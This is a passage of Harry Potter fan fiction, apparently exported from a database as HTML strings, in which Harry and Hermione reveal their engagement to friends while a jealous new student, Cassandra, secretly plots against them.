disgust.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nhappy though cause my new parents are great.&nbsp;\nThey both actually work for the Ministry of Magic.&nbsp; My dad works with the Aurors, and my mom\nworks in the ministry&#8217;s archives.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nglad to hear that your new family is wonderful to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,\nnow it&#8217;s your turn,&#8221; she said with a stern glare.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah,\nand here I thought you forgot,&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\na chance, now spill!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione\nand I have been friends since the first day we arrived at Hogwarts.&nbsp; We became a couple at the beginning of last\nyear, and my life has never been better.&nbsp;\nShe&#8217;s a little bossy when it comes to homework, but she&#8217;s also\nincredibly sweet and has the biggest heart of anyone I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds\nlike she&#8217;s quite the girl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn\nright.&nbsp; She&#8217;s the best there is; she&#8217;s\nthe first person that I ever loved.&#8221; Cassandra was quite surprised that Harry\nwould blurt out such a heartfelt statement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo finally reached their classroom, and Harry opened the door for her.&nbsp; Cassandra walked inside with her thoughts\nmilling around in her brain.&nbsp; From what\nhe&#8217;d told her, she could tell that Harry cared deeply about Hermione, and there\ndidn&#8217;t seem to be anyway to break them apart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;I&#8217;ll\nbe patient.&nbsp; There has to be something\nthat I can use against them.&nbsp; Then we&#8217;ll\nsee who he likes the most.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(244, 5, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione entered the Great\nHall for lunch.&nbsp; She would be happy to see Harry and Ron.&nbsp; There were\nless than ten people in each of her morning classes, and she barely knew any of\nthem.&nbsp; Heading for the Gryffindor table, she spotted Harry&#8217;s head of dark\nhair.&nbsp; He was hunched over the table thoroughly engrossed in the book in\nfront of him.&nbsp; Next to him was Cassandra, and her head was poked into the\nsame book.&nbsp; Hermione felt her eyes twitch at seeing how close their heads\nwere.&nbsp; Harry, she trusted, but she wasn&#8217;t so sure about the new girl&#8230;yet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if sensing her presence,\nHarry&#8217;s head popped up, and he smiled warmly at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Herm, pull up a bench!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very funny, Potter,&#8221; she\ndrawled and sat down beside him. &#8220;Whatcha reading?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Arithmacy homework.&nbsp; I\ncan&#8217;t believe we got this much on the first day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh c&#8217;mon, Harry, it&#8217;s not\nthat bad,&#8221; Cassandra broke in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me see.&#8221; Hermione leaned\nover his shoulder and looked at the equations.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;these are not that\ndifficult&#8230;you&#8217;ve done these before,&#8221; she stated and turned her face towards\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know,&#8221; and he stole a\nquick kiss from her lips.&nbsp; Hermione finally understood; she&#8217;d been\nsuckered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re an idiot sometimes,\nyou know that,&#8221; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s right, Harry, you even\nhad me convinced,&#8221; Cassandra added.&nbsp; Harry put on his best innocent face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I was telling the\ntruth,&#8221; he said and leaned his head on Hermione&#8217;s shoulder, &#8220;really I\nwas&#8230;honest!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure you were, love.&#8221;\nHermione couldn&#8217;t help it; he looked absolutely adorable.&nbsp; She pecked him\non the lips, and Harry knew he&#8217;d been forgiven.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So how was your morning?&#8221; he\ninquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, but there aren&#8217;t\nmany students in my Expert Transfiguration class,&#8221; she answered sadly. &#8220;It&#8217;s\nlonely in there; I don&#8217;t know anybody.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wrapped his arm around\nher shoulders and hugged her gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, Herm, that&#8217;s\nyour only class like that right?&nbsp; You get to see my charming face for the\nrest,&#8221; he grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh joy, what an incentive?&#8221;\nshe groaned sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You wound me, milady,&#8221; Harry\ngrasped his chest as if he&#8217;d been stabbed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s right, Harry,&#8221; a\njust-arriving Ron confirmed, &#8220;She gets to see everybody&#8230;not just you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender came in a few\nmoments later, and Ginny followed soon after.&nbsp; They each flanked Ron and\ngrinned at his surprised expression.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So how has your first day\ngone, Cassandra?&#8221; Ron asked very politely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine.&nbsp; I wasn&#8217;t quite\nsure where my classrooms were, but Harry was nice enough to show me where they\nwere at,&#8221; she answered with a golden smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He also tells me that you\ntwo are on the Gryffindor Quidditch team.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did I know Harry would\ntalk about that?&nbsp; I swear, he&#8217;s in love with the bloody sport!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The same goes for you, Ron,&#8221;\nhis friend countered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, we&#8217;re both on the house\nteam, and this year, we&#8217;re gonna win the Quidditch Cup.&nbsp; The damn\nSlytherins cheated us out of it last year; now, it&#8217;s payback time.&nbsp; We\nstart training in two weeks.&nbsp; Feel free to come by the field and watch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, I&#8217;m anxious to\nsee a real quidditch match for the first time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone looked at her in\nsurprise except Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just wait, Cassandra, you&#8217;re\nin for a real treat,&#8221; Ron said cheekily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After lunch, everyone except\nGinny headed down to the dungeons for Potions.&nbsp; Harry wasn&#8217;t very pleased\nthat they had a double session with Snape on the first day of class &#8211; and with\nthe Slytherins no less.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He took a seat in the\nmidsection of benches, and Hermione sat down beside him.&nbsp; Ron took the\nother side, and Lavender took a seat next to her boyfriend.&nbsp; Cassandra was\nsitting next to her, and the blonde felt her skin crawl slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry could feel a steely\ngaze boring into the back of his head and knew that Malfoy was glaring at him\nfrom the other side of the room.&nbsp; The door was thrown open, and Snape\nwalked in.&nbsp; His black robes billowed behind him as always, and his hair\nlooked even greasier than normal.&nbsp; His sharp eyes immediately locked onto\nHarry, and he glared coldly at the young wizard.&nbsp; He may have power, but\nin this class, the boy was no different.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As all of you may not have\nfigured out, this will be your final year at Hogwarts, and as such, your\nassignments will be much harder than in the past.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The students gulped\nsilently.&nbsp; Snape&#8217;s class had been merciless in the past; how much worse\ncould he make it?&nbsp; The Potions&#8217; master stared at his students, and his\neyes narrowed at the Gryffindors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Those of you who do not pass\nthis year will not be allowed to graduate &#8211; so any slacking off will cause a\nsevere loss in house points.&#8221; His glare shifted to Harry and Ron almost\nsubconsciously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape&#8217;s gaze moved past\nHermione and Lavender and fixed on his new student.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Miss Cross, I sincerely hope\nthat you have been keeping up at your former school.&nbsp; American schools\nhave a tendency to be much less strict about their academics.&nbsp; You will be\nexpected to follow along with all the others.&nbsp; Do I make myself clear?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I understand, Professor\nSnape,&#8221; she answered coolly.&nbsp; Not even her eyebrows arched at his comment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Somebody kill me!&#8221; Ron\ngasped as he dropped onto the couch in the Gryffindor Common Room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why would I do that?&#8221;\nLavender giggled and sat down beside him, &#8220;Then I&#8217;d miss you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Even her tender words didn&#8217;t\nlighten Ron&#8217;s mood.&nbsp; Potions had been brutal, and Snape had given them\nthree days to complete an assignment that should normally take three weeks. Ron\nrubbed his shoulders and groaned slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit up,&#8221; Lavender ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What for?&nbsp; I&#8217;m tired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just do it.&#8221; The redhead\nreluctantly did as she suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender scooted behind him\nand pulled his robes off his shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Eyes front, Weasley!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She gently began to rub his\nshoulders, and Ron nearly fainted in her arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh thank you, Lavender,\nyou&#8217;re a God-send.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No problem, sweetie,&#8221; she\nwhispered and kissed his ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron leaned his head back\nagainst her chest and tilted his head up to look at her.&nbsp; She smiled\nwarmly at him, and her lips quirked up at the content grin on his face.&nbsp;\nHe reached up and wound his arm around the back of her neck.&nbsp; Lavender\nknew what he was doing and let him pull her face down to his.&nbsp; Ron kissed\nher upside-down then turned to take her completely in his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmm,&#8221; Lavender purred into\nhis mouth as she leaned into his strong arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem, there are others in\nthe room you know,&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You should talk, Potter,\nlook at yourself,&#8221; Ron groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was seated in one of\nthe big, plush chairs, and Hermione was sitting on the arm next to him.&nbsp;\nHis arm was slung around her waist to keep her steady, and they were both\ngrinning at Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is okay, but I&#8217;d like\nthis better&#8230;&#8221; He tugged on Hermione&#8217;s waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She steadied herself and\nfound that she was sitting in Harry&#8217;s lap.&nbsp; Lifting her head, she found\nherself staring into his beautiful, emerald eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi,&#8221; he said and wiggled his\neyebrows at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A little overkill don&#8217;t you\nthink?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not at all, Herm, I like you\nin this position&#8230;&#8221; his voice dropped to below a whisper, and he leaned close to\nher ear, &#8220;&#8230;and a few others as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she blushed\nfuriously and smacked his arm, &#8220;you promised you wouldn&#8217;t mention that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Of course, now Ron had to\nknow!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And just what is she\nreferring to, eh Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, you see, Hermione\nlikes hmmph&#8230;&#8221; She slapped her hand over his mouth, and he mumbled into her\npalm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t you dare!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry mumbled &#8216;okay&#8217; into her\nhand, and she let him go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s a good boy,&#8221; she\nteased and petted his hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;C&#8217;mon Herm,&#8221; Harry sighed\nand tightened his hold on her, &#8220;You know you&#8217;re my best kept secret.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am?&#8221; she gasped in slight\nsurprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup.&nbsp; Sorry Ron, but\nour love life is not up for discussion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So he was right!&#8221; Lavender\ngiggled, &#8220;When did this start?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Last year,&#8221; the couple\nanswered together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you kidding?&nbsp; When\ndid that happen?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Remember my birthday?&#8221;\nHermione asked with a sly grin, and Lavender immediately understood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So that&#8217;s why the door\ndidn&#8217;t unlock at first; I&#8217;m happy for the both of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, I know I&#8217;m happy,&#8221;\nHarry chuckled as he played with Hermione&#8217;s brown curls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That makes two of us!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You both seem very much in\nlove,&#8221; Cassandra stated.&nbsp; She hadn&#8217;t spoken a word since she&#8217;d sat down,\nand everyone turned towards her momentarily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Hermione, what&#8217;s that?&#8221;\nLavender stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked, looking\naround the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Around your neck.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gulped slightly and\nlooked down.&nbsp; Her necklace had fallen out of her jumper, but it was the\nornament that caught everyone&#8217;s attention.&nbsp; On the thin chain of silver\nhung her engagement ring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">During the train ride to\nHogwarts, she and Harry had talked about when to mention their engagement to their\nfriends, and both decided to keep it to themselves for a while.&nbsp; As a\nprecaution, Hermione had asked if she could hold off wearing his ring for the\ntime being.&nbsp; Everyone was sure to notice it right away; she&#8217;d covered her\nhand when Ron had been inside the compartment with them.&nbsp; Harry hadn&#8217;t\nbeen upset with her and suggested that she wear it around her neck until he\ncould put it back on her hand permanently.&nbsp; It had worked great until now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that a ring?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;well&#8230;that is&#8230;bloody\nhell&#8230;all right, yes it is!&#8221; she finally admitted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why&#8217;s it around you neck?&#8221;\nLavender prodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at Harry\nskeptically, and he just nodded his head.&nbsp; They had no choice but to tell\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We were kinda hoping to keep\nit quiet for awhile, but fate loves to ruin our plans,&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s eyes began to widen; he\nknew where this was leading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took the ring off\nher necklace and handed it to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you put this back\nwhere it belongs please?&#8221; she asked lovingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender and Ron watched with\njaws hung open as Harry picked up her left hand and slid the ring onto her\nthird finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blimey, you finally asked\nher Harry!&#8221; Ron laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Does this mean&#8230;that you two\nare&#8230;that you&#8217;re&#8230;&#8221; Lavender stumbled over the words as tears formed in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re engaged,&#8221; Hermione\nconfirmed for her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two girls hugged one\nanother, and Ron slapped Harry on the back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Took ya long enough,\nPotter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Timing is everything, Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So when&#8217;s the wedding?&#8221;\nCassandra asked, her voice just above a whisper.&nbsp; Both Harry and Hermione\nblushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;we&#8217;re going to take\nthis slow; there&#8217;s no rush.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s right, I&#8217;m in no\nhurry, and besides, we both know how we feel about each other,&#8221; Hermione added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Too bad Ginny&#8217;s not\nhere.&nbsp; She&#8217;ll go nuts when she hears about this!&#8221; Ron piped up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, please, don&#8217;t go\nblabbing to everyone about this.&nbsp; Hermione and I want to keep this quiet,\nokay?&nbsp; The last thing I want is for the press to turn this place into a\nscandalous frenzy.&nbsp; Remember back in fourth year?&#8221; Harry said with dark\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Point taken.&nbsp; All\nright, I promise &#8211; just Ginny and no one else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As Lavender and Ron\ncongratulated their friends, no one saw the look on Cassandra&#8217;s face.&nbsp; Her\nblue eyes were glued to Hermione&#8217;s hand and the ring on her finger.&nbsp;\nGazing back and forth between her face and her hand, the young woman&#8217;s eyes\nburned with a single emotion &#8211; raw hatred.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The following day, Harry and\nthe other seventh year Gryffindors were gathered in the courtyard.&nbsp; Across\nthe field stood the seventh year Slytherins, and Harry wondered if their houses\nwere deliberately scheduled together.&nbsp; A loud whistle broke up his\nthoughts, and Madam Hooch appeared in front of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good morning, seventh years,\nI hope you all haven&#8217;t forgotten how to fly over the summer break.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No professor,&#8221; they all\nanswered in tandem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad to hear it.&nbsp;\nNow then, we&#8217;ll start slowly to work out the kinks first.&nbsp; I&#8217;ll need two\nvolunteers please.&#8221; Her eyes scanned the Gryffindors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Miss Granger&#8230;would you come\nup here please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes ma&#8217;am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Several of the Slytherins,\nincluding Malfoy, snickered as they all knew Hermione&#8217;s &#8216;reputation&#8217; when it\ncame to flying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You find something funny,\nMr. Malfoy?&#8221; Madam Hooch said with a glare, &#8220;No, then I guess you volunteer to\nbe the second person.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy growled silently and\ngrabbed his broom.&nbsp; His eyes practically hissed at Hermione, but she\nmerely stared back at him coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, I want the both\nof you to circle the grounds once and make at least one turn around each of the\ntowers.&nbsp; After that, return here and touch down.&nbsp; And no funny\nbusiness, that clear?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Madam Hooch,&#8221; Hermione\nstated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whatever,&#8221; Malfoy sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very well&#8230;mount your\nbrooms&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione did as she was\ninstructed and took a deep breath.&nbsp; Her eyes sought out Harry, and he\nsmiled warmly at her.&nbsp; He nodded his head and winked.&nbsp; She felt her\nconfidence swell and gripped the handle of her broom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;and begin!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy took off like a shot,\nbut everyone was waiting to see if Hermione would even get off the\nground.&nbsp; Tossing her hair back, she kicked off the ground and took off\ninto the air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Most of the students were\nspeechless; they&#8217;d never seen Hermione ten feet off the ground &#8211; much less\nflying around the entire school.&nbsp; Even Madam Hooch was surprised to see\nher doing so well.&nbsp; She wasn&#8217;t as fast as Malfoy, but she wasn&#8217;t trying to\nbe.&nbsp; Just being up in the air was a triumph for her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody hell, since when can\nHermione fly?&#8221; Ron gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought she was afraid of\nheights,&#8221; Lavender added.&nbsp; Harry covered his mouth trying not to chuckle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you know?&#8221; Ron said\nwith an accusing grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing, we just did a\nlittle practicing over the summer.&nbsp; Herm and I had a lot of spare time so\nI taught her how to fly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Seems you did quite a job!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8217;s a fast learner;\nthat&#8217;s all,&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy blew around each of\nthe towers and returned the courtyard without a hitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;s the Mudblood?&nbsp;\nShe even get off the ground?&#8221; he snorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s right behind you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione carefully slowed\ndown into a gentle hover then touched back down on the ground.&nbsp; She took a\ndeep breath, and her heart swelled with relief and pride.&nbsp; She&#8217;d done it;\nshe&#8217;d actually flown without a hitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well done, Miss Granger, you\nmust have been practicing this summer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes ma&#8217;am, I actually had a\ntutor help me out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&nbsp; Ten points to\nboth Gryffindor and Slytherin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait a minute!&nbsp; I got\nback here well before her!&nbsp; I should receive more points,&#8221; Malfoy growled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This was not a race, Mr.\nMalfoy, merely a test of skill, and you both passed the test.&nbsp; That is all\nthat I wanted to see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione returned to her\nfriends with a huge smile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow Hermione, I 